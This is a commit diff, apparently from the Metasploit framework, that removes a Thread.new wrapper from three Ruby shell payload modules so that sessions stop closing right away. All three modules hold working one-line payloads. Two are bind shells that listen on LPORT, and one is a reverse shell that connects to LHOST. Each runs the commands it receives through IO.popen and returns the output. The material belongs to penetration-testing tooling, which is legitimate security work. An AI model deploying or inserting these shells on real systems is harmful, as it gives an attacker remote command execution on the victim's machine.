Thread wrappers were causing instant session closure
parent
1e94b090e7
commit
e05f4ba927
|
@ -35,6 +35,6 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def ruby_string
|
||||
"Thread.new{require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end}"
|
||||
"require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -35,6 +35,6 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def ruby_string
|
||||
"Thread.new{require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end}"
|
||||
"require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -37,6 +37,6 @@ module Metasploit3
|
|||
def ruby_string
|
||||
lhost = datastore['LHOST']
|
||||
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
||||
"Thread.new{require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end}"
|
||||
"require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end"
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue